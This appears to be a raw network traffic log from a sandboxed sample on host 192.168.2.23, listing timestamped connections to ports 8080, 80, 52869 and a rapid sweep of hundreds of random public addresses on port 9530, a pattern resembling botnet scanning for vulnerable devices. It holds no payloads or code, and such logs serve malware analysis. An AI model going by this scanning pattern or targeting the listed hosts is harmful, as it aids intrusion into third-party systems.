May 16, 2024 16:38:48.305582047 CEST	36018	8080	192.168.2.23	201.237.237.152
May 16, 2024 16:38:48.310493946 CEST	53552	8080	192.168.2.23	189.36.32.96
May 16, 2024 16:38:48.310523987 CEST	8080	36018	201.237.237.152	192.168.2.23
May 16, 2024 16:38:48.310569048 CEST	36018	8080	192.168.2.23	201.237.237.152
May 16, 2024 16:38:48.312901974 CEST	38198	8080	192.168.2.23	207.155.209.31
May 16, 2024 16:38:48.315223932 CEST	53842	8080	192.168.2.23	200.178.117.113
May 16, 2024 16:38:48.315475941 CEST	8080	53552	189.36.32.96	192.168.2.23
May 16, 2024 16:38:48.315530062 CEST	53552	8080	192.168.2.23	189.36.32.96
May 16, 2024 16:38:48.316629887 CEST	56728	8080	192.168.2.23	189.101.154.179
May 16, 2024 16:38:48.325155020 CEST	8080	38198	207.155.209.31	192.168.2.23
May 16, 2024 16:38:48.325165033 CEST	8080	53842	200.178.117.113	192.168.2.23
May 16, 2024 16:38:48.325195074 CEST	38198	8080	192.168.2.23	207.155.209.31
May 16, 2024 16:38:48.325208902 CEST	53842	8080	192.168.2.23	200.178.117.113
May 16, 2024 16:38:48.329895020 CEST	8080	56728	189.101.154.179	192.168.2.23
May 16, 2024 16:38:48.329942942 CEST	56728	8080	192.168.2.23	189.101.154.179
May 16, 2024 16:38:48.536191940 CEST	33786	80	192.168.2.23	88.249.104.184
May 16, 2024 16:38:48.541307926 CEST	80	33786	88.249.104.184	192.168.2.23
May 16, 2024 16:38:48.541364908 CEST	33786	80	192.168.2.23	88.249.104.184
May 16, 2024 16:38:48.549154043 CEST	33786	80	192.168.2.23	88.249.104.184
May 16, 2024 16:38:48.552195072 CEST	48970	80	192.168.2.23	41.237.237.152
May 16, 2024 16:38:48.554861069 CEST	42270	80	192.168.2.23	145.155.209.31
May 16, 2024 16:38:48.557454109 CEST	36798	80	192.168.2.23	88.36.32.96
May 16, 2024 16:38:48.558542013 CEST	49506	80	192.168.2.23	145.178.117.113
May 16, 2024 16:38:48.561263084 CEST	37406	80	192.168.2.23	89.101.154.179
May 16, 2024 16:38:48.593497038 CEST	80	48970	41.237.237.152	192.168.2.23
May 16, 2024 16:38:48.593607903 CEST	48970	80	192.168.2.23	41.237.237.152
May 16, 2024 16:38:48.598418951 CEST	80	42270	145.155.209.31	192.168.2.23
May 16, 2024 16:38:48.598431110 CEST	80	36798	88.36.32.96	192.168.2.23
May 16, 2024 16:38:48.598438978 CEST	80	49506	145.178.117.113	192.168.2.23
May 16, 2024 16:38:48.598448992 CEST	80	37406	89.101.154.179	192.168.2.23
May 16, 2024 16:38:48.598457098 CEST	80	33786	88.249.104.184	192.168.2.23
May 16, 2024 16:38:48.598479033 CEST	42270	80	192.168.2.23	145.155.209.31
May 16, 2024 16:38:48.598485947 CEST	49506	80	192.168.2.23	145.178.117.113
May 16, 2024 16:38:48.598495007 CEST	37406	80	192.168.2.23	89.101.154.179
May 16, 2024 16:38:48.598506927 CEST	33786	80	192.168.2.23	88.249.104.184
May 16, 2024 16:38:48.598531008 CEST	36798	80	192.168.2.23	88.36.32.96
May 16, 2024 16:38:48.600759983 CEST	48970	80	192.168.2.23	41.237.237.152
May 16, 2024 16:38:48.613955975 CEST	42270	80	192.168.2.23	145.155.209.31
May 16, 2024 16:38:48.614775896 CEST	49506	80	192.168.2.23	145.178.117.113
May 16, 2024 16:38:48.615442038 CEST	36798	80	192.168.2.23	88.36.32.96
May 16, 2024 16:38:48.618088961 CEST	37406	80	192.168.2.23	89.101.154.179
May 16, 2024 16:38:48.650336981 CEST	80	48970	41.237.237.152	192.168.2.23
May 16, 2024 16:38:48.650409937 CEST	48970	80	192.168.2.23	41.237.237.152
May 16, 2024 16:38:48.655595064 CEST	80	42270	145.155.209.31	192.168.2.23
May 16, 2024 16:38:48.655607939 CEST	80	49506	145.178.117.113	192.168.2.23
May 16, 2024 16:38:48.655617952 CEST	80	37406	89.101.154.179	192.168.2.23
May 16, 2024 16:38:48.655627966 CEST	80	36798	88.36.32.96	192.168.2.23
May 16, 2024 16:38:48.655641079 CEST	42270	80	192.168.2.23	145.155.209.31
May 16, 2024 16:38:48.655652046 CEST	49506	80	192.168.2.23	145.178.117.113
May 16, 2024 16:38:48.655678988 CEST	37406	80	192.168.2.23	89.101.154.179
May 16, 2024 16:38:48.655678988 CEST	36798	80	192.168.2.23	88.36.32.96
May 16, 2024 16:38:48.864175081 CEST	55506	52869	192.168.2.23	203.41.43.119
May 16, 2024 16:38:48.872081995 CEST	43344	52869	192.168.2.23	186.36.32.96
May 16, 2024 16:38:48.876204967 CEST	54060	52869	192.168.2.23	22.237.152.155
May 16, 2024 16:38:48.878565073 CEST	56762	52869	192.168.2.23	217.121.249.104
May 16, 2024 16:38:48.885296106 CEST	50322	52869	192.168.2.23	32.101.154.179
May 16, 2024 16:38:48.889401913 CEST	37758	52869	192.168.2.23	212.31.178.117
May 16, 2024 16:38:48.893692017 CEST	45944	52869	192.168.2.23	163.32.182.167
May 16, 2024 16:38:48.893832922 CEST	49148	52869	192.168.2.23	41.196.59.121
May 16, 2024 16:38:48.898741007 CEST	57694	52869	192.168.2.23	220.226.31.47
May 16, 2024 16:38:48.899192095 CEST	55496	52869	192.168.2.23	205.153.152.20
May 16, 2024 16:38:48.906347036 CEST	52869	55506	203.41.43.119	192.168.2.23
May 16, 2024 16:38:48.906399965 CEST	55506	52869	192.168.2.23	203.41.43.119
May 16, 2024 16:38:48.908374071 CEST	55095	9530	192.168.2.23	105.168.21.86
May 16, 2024 16:38:48.908374071 CEST	55095	9530	192.168.2.23	77.249.36.58
May 16, 2024 16:38:48.908380032 CEST	55095	9530	192.168.2.23	12.172.250.221
May 16, 2024 16:38:48.908385038 CEST	55095	9530	192.168.2.23	42.222.106.168
May 16, 2024 16:38:48.908406973 CEST	55095	9530	192.168.2.23	188.74.50.28
May 16, 2024 16:38:48.908406973 CEST	55095	9530	192.168.2.23	203.139.168.178
May 16, 2024 16:38:48.908406973 CEST	55095	9530	192.168.2.23	192.50.34.36
May 16, 2024 16:38:48.908416033 CEST	55095	9530	192.168.2.23	62.12.76.75
May 16, 2024 16:38:48.908416033 CEST	55095	9530	192.168.2.23	35.5.142.23
May 16, 2024 16:38:48.908416033 CEST	55095	9530	192.168.2.23	129.154.204.88
May 16, 2024 16:38:48.908417940 CEST	55095	9530	192.168.2.23	179.129.11.88
May 16, 2024 16:38:48.908417940 CEST	55095	9530	192.168.2.23	76.224.22.57
May 16, 2024 16:38:48.908427954 CEST	55095	9530	192.168.2.23	70.146.226.174
May 16, 2024 16:38:48.908441067 CEST	55095	9530	192.168.2.23	48.51.165.142
May 16, 2024 16:38:48.908443928 CEST	55095	9530	192.168.2.23	204.198.66.255
May 16, 2024 16:38:48.908444881 CEST	55095	9530	192.168.2.23	186.46.95.60
May 16, 2024 16:38:48.908444881 CEST	55095	9530	192.168.2.23	218.218.131.147
May 16, 2024 16:38:48.908444881 CEST	55095	9530	192.168.2.23	146.254.171.241
May 16, 2024 16:38:48.908454895 CEST	55095	9530	192.168.2.23	71.74.233.156
May 16, 2024 16:38:48.908457041 CEST	55095	9530	192.168.2.23	49.174.237.150
May 16, 2024 16:38:48.908458948 CEST	55095	9530	192.168.2.23	20.65.237.135
May 16, 2024 16:38:48.908468962 CEST	55095	9530	192.168.2.23	19.143.213.237
May 16, 2024 16:38:48.908472061 CEST	55095	9530	192.168.2.23	27.163.86.188
May 16, 2024 16:38:48.908472061 CEST	55095	9530	192.168.2.23	17.16.69.65
May 16, 2024 16:38:48.908483982 CEST	55095	9530	192.168.2.23	150.41.186.17
May 16, 2024 16:38:48.908484936 CEST	55095	9530	192.168.2.23	38.45.198.201
May 16, 2024 16:38:48.908484936 CEST	55095	9530	192.168.2.23	220.30.234.129
May 16, 2024 16:38:48.908483028 CEST	55095	9530	192.168.2.23	111.156.205.146
May 16, 2024 16:38:48.908512115 CEST	55095	9530	192.168.2.23	158.104.140.248
May 16, 2024 16:38:48.908509016 CEST	55095	9530	192.168.2.23	188.121.105.146
May 16, 2024 16:38:48.908509016 CEST	55095	9530	192.168.2.23	91.5.206.191
May 16, 2024 16:38:48.908531904 CEST	55095	9530	192.168.2.23	211.244.115.203
May 16, 2024 16:38:48.908531904 CEST	55095	9530	192.168.2.23	144.169.142.66
May 16, 2024 16:38:48.908540010 CEST	55095	9530	192.168.2.23	94.99.152.103
May 16, 2024 16:38:48.908544064 CEST	55095	9530	192.168.2.23	120.7.53.192
May 16, 2024 16:38:48.908545017 CEST	55095	9530	192.168.2.23	78.65.90.145
May 16, 2024 16:38:48.908548117 CEST	55095	9530	192.168.2.23	36.131.240.112
May 16, 2024 16:38:48.908548117 CEST	55095	9530	192.168.2.23	68.38.59.56
May 16, 2024 16:38:48.908580065 CEST	55095	9530	192.168.2.23	60.16.90.147
May 16, 2024 16:38:48.908590078 CEST	55095	9530	192.168.2.23	71.85.226.131
May 16, 2024 16:38:48.908607960 CEST	55095	9530	192.168.2.23	121.57.20.205
May 16, 2024 16:38:48.908608913 CEST	55095	9530	192.168.2.23	69.130.236.117
May 16, 2024 16:38:48.908610106 CEST	55095	9530	192.168.2.23	173.139.233.125
May 16, 2024 16:38:48.908617020 CEST	55095	9530	192.168.2.23	76.81.45.122
May 16, 2024 16:38:48.908652067 CEST	55095	9530	192.168.2.23	209.10.231.11
May 16, 2024 16:38:48.908652067 CEST	55095	9530	192.168.2.23	66.230.161.144
May 16, 2024 16:38:48.908654928 CEST	55095	9530	192.168.2.23	9.225.135.63
May 16, 2024 16:38:48.908655882 CEST	55095	9530	192.168.2.23	20.119.15.2
May 16, 2024 16:38:48.908663988 CEST	55095	9530	192.168.2.23	118.43.47.7
May 16, 2024 16:38:48.908674002 CEST	55095	9530	192.168.2.23	79.190.78.246
May 16, 2024 16:38:48.908683062 CEST	55095	9530	192.168.2.23	87.93.198.61
May 16, 2024 16:38:48.908683062 CEST	55095	9530	192.168.2.23	219.241.149.193
May 16, 2024 16:38:48.908687115 CEST	55095	9530	192.168.2.23	125.33.142.104
May 16, 2024 16:38:48.908689022 CEST	55095	9530	192.168.2.23	120.39.157.116
May 16, 2024 16:38:48.908689022 CEST	55095	9530	192.168.2.23	221.134.102.117
May 16, 2024 16:38:48.908704996 CEST	55095	9530	192.168.2.23	193.187.13.81
May 16, 2024 16:38:48.910166025 CEST	55095	9530	192.168.2.23	138.181.42.183
May 16, 2024 16:38:48.910166979 CEST	55095	9530	192.168.2.23	81.140.210.3
May 16, 2024 16:38:48.910166979 CEST	55095	9530	192.168.2.23	96.47.41.165
May 16, 2024 16:38:48.910167933 CEST	55095	9530	192.168.2.23	208.210.177.35
May 16, 2024 16:38:48.910188913 CEST	55095	9530	192.168.2.23	207.55.44.130
May 16, 2024 16:38:48.910190105 CEST	55095	9530	192.168.2.23	18.8.254.48
May 16, 2024 16:38:48.910191059 CEST	55095	9530	192.168.2.23	158.107.85.20
May 16, 2024 16:38:48.910219908 CEST	55095	9530	192.168.2.23	120.86.196.233
May 16, 2024 16:38:48.910219908 CEST	55095	9530	192.168.2.23	113.255.28.131
May 16, 2024 16:38:48.910219908 CEST	55095	9530	192.168.2.23	25.196.147.175
May 16, 2024 16:38:48.910223007 CEST	55095	9530	192.168.2.23	139.40.54.159
May 16, 2024 16:38:48.910223007 CEST	55095	9530	192.168.2.23	85.250.149.203
May 16, 2024 16:38:48.910227060 CEST	55095	9530	192.168.2.23	17.213.55.175
May 16, 2024 16:38:48.910234928 CEST	55095	9530	192.168.2.23	76.35.153.2
May 16, 2024 16:38:48.910238981 CEST	55095	9530	192.168.2.23	208.155.77.19
May 16, 2024 16:38:48.910238981 CEST	55095	9530	192.168.2.23	81.18.233.206
May 16, 2024 16:38:48.910249949 CEST	55095	9530	192.168.2.23	156.157.243.44
May 16, 2024 16:38:48.910259008 CEST	55095	9530	192.168.2.23	43.159.155.127
May 16, 2024 16:38:48.910260916 CEST	55095	9530	192.168.2.23	176.69.228.245
May 16, 2024 16:38:48.910264969 CEST	55095	9530	192.168.2.23	91.90.2.54
May 16, 2024 16:38:48.910276890 CEST	55095	9530	192.168.2.23	217.84.100.102
May 16, 2024 16:38:48.910284996 CEST	55095	9530	192.168.2.23	182.182.136.1
May 16, 2024 16:38:48.910288095 CEST	55095	9530	192.168.2.23	223.255.181.65
May 16, 2024 16:38:48.910291910 CEST	55095	9530	192.168.2.23	57.71.107.183
May 16, 2024 16:38:48.910296917 CEST	55095	9530	192.168.2.23	216.34.174.63
May 16, 2024 16:38:48.910296917 CEST	55095	9530	192.168.2.23	109.16.198.150
May 16, 2024 16:38:48.910305023 CEST	55095	9530	192.168.2.23	24.160.192.46
May 16, 2024 16:38:48.910310030 CEST	55095	9530	192.168.2.23	168.86.73.239
May 16, 2024 16:38:48.910324097 CEST	55095	9530	192.168.2.23	121.99.32.27
May 16, 2024 16:38:48.910326004 CEST	55095	9530	192.168.2.23	9.224.196.61
May 16, 2024 16:38:48.910339117 CEST	55095	9530	192.168.2.23	39.223.250.153
May 16, 2024 16:38:48.910341024 CEST	55095	9530	192.168.2.23	72.37.254.90
May 16, 2024 16:38:48.910341024 CEST	55095	9530	192.168.2.23	199.252.211.198
May 16, 2024 16:38:48.910341024 CEST	55095	9530	192.168.2.23	141.57.32.109
May 16, 2024 16:38:48.910353899 CEST	55095	9530	192.168.2.23	74.132.51.50
May 16, 2024 16:38:48.910356045 CEST	55095	9530	192.168.2.23	161.108.1.220
May 16, 2024 16:38:48.910367966 CEST	55095	9530	192.168.2.23	1.137.44.221
May 16, 2024 16:38:48.910368919 CEST	55095	9530	192.168.2.23	136.132.147.205
May 16, 2024 16:38:48.910440922 CEST	55095	9530	192.168.2.23	75.120.145.79
May 16, 2024 16:38:48.910440922 CEST	55095	9530	192.168.2.23	83.87.22.170
May 16, 2024 16:38:48.910440922 CEST	55095	9530	192.168.2.23	123.232.205.113
May 16, 2024 16:38:48.910443068 CEST	55095	9530	192.168.2.23	50.49.174.25
May 16, 2024 16:38:48.910444021 CEST	55095	9530	192.168.2.23	211.237.241.218
May 16, 2024 16:38:48.910445929 CEST	55095	9530	192.168.2.23	204.154.223.67
May 16, 2024 16:38:48.910446882 CEST	55095	9530	192.168.2.23	126.200.60.164
May 16, 2024 16:38:48.910445929 CEST	55095	9530	192.168.2.23	196.141.199.150
May 16, 2024 16:38:48.910446882 CEST	55095	9530	192.168.2.23	76.245.249.211
May 16, 2024 16:38:48.910470009 CEST	55095	9530	192.168.2.23	71.205.216.29
May 16, 2024 16:38:48.910470009 CEST	55095	9530	192.168.2.23	102.34.126.222
May 16, 2024 16:38:48.910476923 CEST	55095	9530	192.168.2.23	219.188.104.246
May 16, 2024 16:38:48.910476923 CEST	55095	9530	192.168.2.23	82.66.249.172
May 16, 2024 16:38:48.910476923 CEST	55095	9530	192.168.2.23	182.1.112.85
May 16, 2024 16:38:48.910480022 CEST	55095	9530	192.168.2.23	166.44.102.217
May 16, 2024 16:38:48.910480022 CEST	55095	9530	192.168.2.23	5.73.9.130
May 16, 2024 16:38:48.910485029 CEST	55095	9530	192.168.2.23	173.150.44.207
May 16, 2024 16:38:48.910492897 CEST	55095	9530	192.168.2.23	60.69.126.37
May 16, 2024 16:38:48.910495043 CEST	55095	9530	192.168.2.23	86.20.253.34
May 16, 2024 16:38:48.910516977 CEST	55095	9530	192.168.2.23	63.115.154.152
May 16, 2024 16:38:48.910517931 CEST	55095	9530	192.168.2.23	160.255.171.164
May 16, 2024 16:38:48.910516977 CEST	55095	9530	192.168.2.23	171.122.114.137
May 16, 2024 16:38:48.910516977 CEST	55095	9530	192.168.2.23	142.234.83.55
May 16, 2024 16:38:48.910518885 CEST	55095	9530	192.168.2.23	142.162.36.102
May 16, 2024 16:38:48.910521030 CEST	55095	9530	192.168.2.23	182.120.147.241
May 16, 2024 16:38:48.910521984 CEST	55095	9530	192.168.2.23	141.73.89.18
May 16, 2024 16:38:48.910525084 CEST	55095	9530	192.168.2.23	180.21.88.19
May 16, 2024 16:38:48.910526037 CEST	55095	9530	192.168.2.23	159.241.8.29
May 16, 2024 16:38:48.910526037 CEST	55095	9530	192.168.2.23	147.27.11.211
May 16, 2024 16:38:48.910557032 CEST	55095	9530	192.168.2.23	87.115.190.104
May 16, 2024 16:38:48.910583973 CEST	55095	9530	192.168.2.23	176.223.252.6
May 16, 2024 16:38:48.910586119 CEST	55095	9530	192.168.2.23	58.27.168.34
May 16, 2024 16:38:48.910587072 CEST	55095	9530	192.168.2.23	181.76.30.174
May 16, 2024 16:38:48.910588026 CEST	55095	9530	192.168.2.23	70.162.142.53
May 16, 2024 16:38:48.910597086 CEST	55095	9530	192.168.2.23	12.237.185.233
May 16, 2024 16:38:48.910597086 CEST	55095	9530	192.168.2.23	199.168.14.194
May 16, 2024 16:38:48.910597086 CEST	55095	9530	192.168.2.23	2.106.211.119
May 16, 2024 16:38:48.910597086 CEST	55095	9530	192.168.2.23	160.182.248.190
May 16, 2024 16:38:48.910604000 CEST	55095	9530	192.168.2.23	37.142.70.70
May 16, 2024 16:38:48.910604000 CEST	55095	9530	192.168.2.23	45.94.131.6
May 16, 2024 16:38:48.910605907 CEST	55095	9530	192.168.2.23	89.129.223.152
May 16, 2024 16:38:48.910608053 CEST	55095	9530	192.168.2.23	108.202.113.52
May 16, 2024 16:38:48.910608053 CEST	55095	9530	192.168.2.23	88.136.119.167
May 16, 2024 16:38:48.910608053 CEST	55095	9530	192.168.2.23	184.217.227.153
May 16, 2024 16:38:48.910609961 CEST	55095	9530	192.168.2.23	209.215.73.193
May 16, 2024 16:38:48.910610914 CEST	55095	9530	192.168.2.23	211.45.213.42
May 16, 2024 16:38:48.910610914 CEST	55095	9530	192.168.2.23	53.189.191.83
May 16, 2024 16:38:48.910610914 CEST	55095	9530	192.168.2.23	114.8.168.111
May 16, 2024 16:38:48.910613060 CEST	55095	9530	192.168.2.23	62.123.69.58
May 16, 2024 16:38:48.910613060 CEST	55095	9530	192.168.2.23	81.213.75.77
May 16, 2024 16:38:48.910662889 CEST	55095	9530	192.168.2.23	138.152.37.225
May 16, 2024 16:38:48.910662889 CEST	55095	9530	192.168.2.23	212.231.161.126
May 16, 2024 16:38:48.910664082 CEST	55095	9530	192.168.2.23	145.189.185.236
May 16, 2024 16:38:48.910664082 CEST	55095	9530	192.168.2.23	118.43.39.61
May 16, 2024 16:38:48.910664082 CEST	55095	9530	192.168.2.23	40.5.114.192
May 16, 2024 16:38:48.910664082 CEST	55095	9530	192.168.2.23	206.11.4.42
May 16, 2024 16:38:48.910665989 CEST	55095	9530	192.168.2.23	174.70.218.178
May 16, 2024 16:38:48.910665989 CEST	55095	9530	192.168.2.23	25.40.150.238
May 16, 2024 16:38:48.910666943 CEST	55095	9530	192.168.2.23	182.79.237.159
May 16, 2024 16:38:48.910665989 CEST	55095	9530	192.168.2.23	108.56.205.3
May 16, 2024 16:38:48.910666943 CEST	55095	9530	192.168.2.23	205.217.143.76
May 16, 2024 16:38:48.910670042 CEST	55095	9530	192.168.2.23	78.101.252.203
May 16, 2024 16:38:48.910666943 CEST	55095	9530	192.168.2.23	116.64.3.98
May 16, 2024 16:38:48.910670042 CEST	55095	9530	192.168.2.23	209.235.193.65
May 16, 2024 16:38:48.910670042 CEST	55095	9530	192.168.2.23	149.146.213.152
May 16, 2024 16:38:48.910684109 CEST	55095	9530	192.168.2.23	185.182.170.39
May 16, 2024 16:38:48.910684109 CEST	55095	9530	192.168.2.23	176.144.63.166
May 16, 2024 16:38:48.910710096 CEST	55095	9530	192.168.2.23	146.2.202.33
May 16, 2024 16:38:48.910712004 CEST	55095	9530	192.168.2.23	44.177.246.84
May 16, 2024 16:38:48.910712004 CEST	55095	9530	192.168.2.23	135.175.89.85
May 16, 2024 16:38:48.910712957 CEST	55095	9530	192.168.2.23	92.196.239.49
May 16, 2024 16:38:48.910712957 CEST	55095	9530	192.168.2.23	195.178.96.205
May 16, 2024 16:38:48.910754919 CEST	55095	9530	192.168.2.23	110.49.107.159
May 16, 2024 16:38:48.910756111 CEST	55095	9530	192.168.2.23	205.112.94.135
May 16, 2024 16:38:48.910756111 CEST	55095	9530	192.168.2.23	136.65.199.208
May 16, 2024 16:38:48.910758972 CEST	55095	9530	192.168.2.23	38.167.192.60
May 16, 2024 16:38:48.910759926 CEST	55095	9530	192.168.2.23	98.5.75.118
May 16, 2024 16:38:48.910758972 CEST	55095	9530	192.168.2.23	89.214.245.173
May 16, 2024 16:38:48.910758972 CEST	55095	9530	192.168.2.23	166.153.111.251
May 16, 2024 16:38:48.910759926 CEST	55095	9530	192.168.2.23	173.232.237.77
May 16, 2024 16:38:48.910762072 CEST	55095	9530	192.168.2.23	148.89.205.216
May 16, 2024 16:38:48.910761118 CEST	55095	9530	192.168.2.23	88.147.6.84
May 16, 2024 16:38:48.910763025 CEST	55095	9530	192.168.2.23	192.151.143.12
May 16, 2024 16:38:48.910758972 CEST	55095	9530	192.168.2.23	222.80.174.208
May 16, 2024 16:38:48.910768032 CEST	55095	9530	192.168.2.23	64.55.163.240
May 16, 2024 16:38:48.910768032 CEST	55095	9530	192.168.2.23	75.202.41.40
May 16, 2024 16:38:48.910773993 CEST	55095	9530	192.168.2.23	132.220.144.4
May 16, 2024 16:38:48.910773993 CEST	55095	9530	192.168.2.23	111.35.162.73
May 16, 2024 16:38:48.910773993 CEST	55095	9530	192.168.2.23	78.127.152.36
May 16, 2024 16:38:48.910800934 CEST	55095	9530	192.168.2.23	8.53.178.211
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	223.69.208.135
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	70.157.7.141
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	192.146.112.1
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	107.201.64.198
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	13.23.23.249
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	110.254.178.185
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	148.194.118.37
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	78.182.66.7
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	2.184.158.84
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	125.226.249.229
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	181.160.253.62
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	63.170.156.171
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	138.176.110.209
May 16, 2024 16:38:48.910809040 CEST	55095	9530	192.168.2.23	175.178.207.174
May 16, 2024 16:38:48.910810947 CEST	55095	9530	192.168.2.23	99.251.35.63
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	57.120.134.44
May 16, 2024 16:38:48.910813093 CEST	55095	9530	192.168.2.23	151.213.234.103
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	48.35.214.223
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	1.238.9.25
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	169.161.142.64
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	96.235.9.180
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	96.91.245.246
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	152.102.34.84
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	74.23.200.187
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	63.59.84.52
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	152.231.252.6
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	210.152.194.222
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	165.37.155.26
May 16, 2024 16:38:48.910811901 CEST	55095	9530	192.168.2.23	159.251.207.141
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	145.122.126.20
May 16, 2024 16:38:48.910814047 CEST	55095	9530	192.168.2.23	125.97.238.41
May 16, 2024 16:38:48.910841942 CEST	55095	9530	192.168.2.23	60.172.80.221
May 16, 2024 16:38:48.910841942 CEST	55095	9530	192.168.2.23	52.15.209.2
May 16, 2024 16:38:48.910862923 CEST	55095	9530	192.168.2.23	148.143.25.69
May 16, 2024 16:38:48.910862923 CEST	55095	9530	192.168.2.23	91.55.113.238
May 16, 2024 16:38:48.910862923 CEST	55095	9530	192.168.2.23	58.86.32.16
May 16, 2024 16:38:48.910862923 CEST	55095	9530	192.168.2.23	8.184.34.116
May 16, 2024 16:38:48.910862923 CEST	55095	9530	192.168.2.23	157.124.156.132
May 16, 2024 16:38:48.910864115 CEST	55095	9530	192.168.2.23	80.124.36.240
May 16, 2024 16:38:48.910864115 CEST	55095	9530	192.168.2.23	177.89.4.88
May 16, 2024 16:38:48.910868883 CEST	55095	9530	192.168.2.23	153.102.162.6
May 16, 2024 16:38:48.910868883 CEST	55095	9530	192.168.2.23	120.156.47.147
May 16, 2024 16:38:48.910868883 CEST	55095	9530	192.168.2.23	194.246.220.130
May 16, 2024 16:38:48.910868883 CEST	55095	9530	192.168.2.23	195.143.253.131
May 16, 2024 16:38:48.910877943 CEST	55095	9530	192.168.2.23	118.100.61.55
May 16, 2024 16:38:48.910887957 CEST	55095	9530	192.168.2.23	116.44.171.242
May 16, 2024 16:38:48.910908937 CEST	55095	9530	192.168.2.23	206.37.133.212
May 16, 2024 16:38:48.910909891 CEST	55095	9530	192.168.2.23	183.31.143.82
May 16, 2024 16:38:48.910917997 CEST	55095	9530	192.168.2.23	97.185.141.126
May 16, 2024 16:38:48.910938978 CEST	55095	9530	192.168.2.23	113.64.182.179
May 16, 2024 16:38:48.910938978 CEST	55095	9530	192.168.2.23	57.185.94.194
May 16, 2024 16:38:48.910940886 CEST	55095	9530	192.168.2.23	144.34.70.33
May 16, 2024 16:38:48.910942078 CEST	55095	9530	192.168.2.23	131.202.27.9
May 16, 2024 16:38:48.910949945 CEST	55095	9530	192.168.2.23	25.138.226.144
May 16, 2024 16:38:48.910953999 CEST	55095	9530	192.168.2.23	99.202.89.134
May 16, 2024 16:38:48.910954952 CEST	55095	9530	192.168.2.23	12.169.211.84
May 16, 2024 16:38:48.910963058 CEST	55095	9530	192.168.2.23	136.69.246.23
May 16, 2024 16:38:48.910963058 CEST	55095	9530	192.168.2.23	174.191.210.179
May 16, 2024 16:38:48.910964012 CEST	55095	9530	192.168.2.23	89.120.163.65
May 16, 2024 16:38:48.910964966 CEST	55095	9530	192.168.2.23	19.67.47.11
May 16, 2024 16:38:48.910964966 CEST	55095	9530	192.168.2.23	64.184.195.145
May 16, 2024 16:38:48.910969019 CEST	55095	9530	192.168.2.23	182.249.66.8
May 16, 2024 16:38:48.910969019 CEST	55095	9530	192.168.2.23	27.86.69.142
May 16, 2024 16:38:48.910975933 CEST	55095	9530	192.168.2.23	170.96.33.199
May 16, 2024 16:38:48.910978079 CEST	55095	9530	192.168.2.23	44.83.218.196
May 16, 2024 16:38:48.910978079 CEST	55095	9530	192.168.2.23	123.127.100.194
May 16, 2024 16:38:48.910978079 CEST	55095	9530	192.168.2.23	37.63.246.23
May 16, 2024 16:38:48.911026001 CEST	55095	9530	192.168.2.23	95.87.163.53
May 16, 2024 16:38:48.911027908 CEST	55095	9530	192.168.2.23	68.31.251.227
May 16, 2024 16:38:48.911027908 CEST	55095	9530	192.168.2.23	1.206.117.70
May 16, 2024 16:38:48.911027908 CEST	55095	9530	192.168.2.23	50.170.142.158
May 16, 2024 16:38:48.911027908 CEST	55095	9530	192.168.2.23	71.59.81.153
May 16, 2024 16:38:48.911036968 CEST	55095	9530	192.168.2.23	68.211.205.33
May 16, 2024 16:38:48.911046028 CEST	55095	9530	192.168.2.23	88.82.30.197
May 16, 2024 16:38:48.911046028 CEST	55095	9530	192.168.2.23	49.133.55.9
May 16, 2024 16:38:48.911048889 CEST	55095	9530	192.168.2.23	25.159.32.93
May 16, 2024 16:38:48.911048889 CEST	55095	9530	192.168.2.23	59.37.179.217
May 16, 2024 16:38:48.911057949 CEST	55095	9530	192.168.2.23	51.38.53.11
May 16, 2024 16:38:48.911058903 CEST	55095	9530	192.168.2.23	87.22.134.18
May 16, 2024 16:38:48.911076069 CEST	55095	9530	192.168.2.23	165.35.53.137
May 16, 2024 16:38:48.911087990 CEST	55095	9530	192.168.2.23	166.96.236.100
May 16, 2024 16:38:48.911102057 CEST	55095	9530	192.168.2.23	106.255.168.181
May 16, 2024 16:38:48.911108971 CEST	55095	9530	192.168.2.23	125.170.135.208
May 16, 2024 16:38:48.911109924 CEST	55095	9530	192.168.2.23	200.210.19.145
May 16, 2024 16:38:48.911118984 CEST	55095	9530	192.168.2.23	220.110.127.77
May 16, 2024 16:38:48.911125898 CEST	55095	9530	192.168.2.23	191.231.201.22
May 16, 2024 16:38:48.911161900 CEST	55095	9530	192.168.2.23	111.30.17.71
May 16, 2024 16:38:48.911170006 CEST	55095	9530	192.168.2.23	141.253.81.16
May 16, 2024 16:38:48.911190987 CEST	55095	9530	192.168.2.23	69.246.170.111
May 16, 2024 16:38:48.911195993 CEST	55095	9530	192.168.2.23	166.182.100.98
May 16, 2024 16:38:48.911195993 CEST	55095	9530	192.168.2.23	90.11.62.138
May 16, 2024 16:38:48.911195993 CEST	55095	9530	192.168.2.23	180.45.1.180
May 16, 2024 16:38:48.911195993 CEST	55095	9530	192.168.2.23	2.189.229.142
May 16, 2024 16:38:48.911199093 CEST	55095	9530	192.168.2.23	58.166.104.206
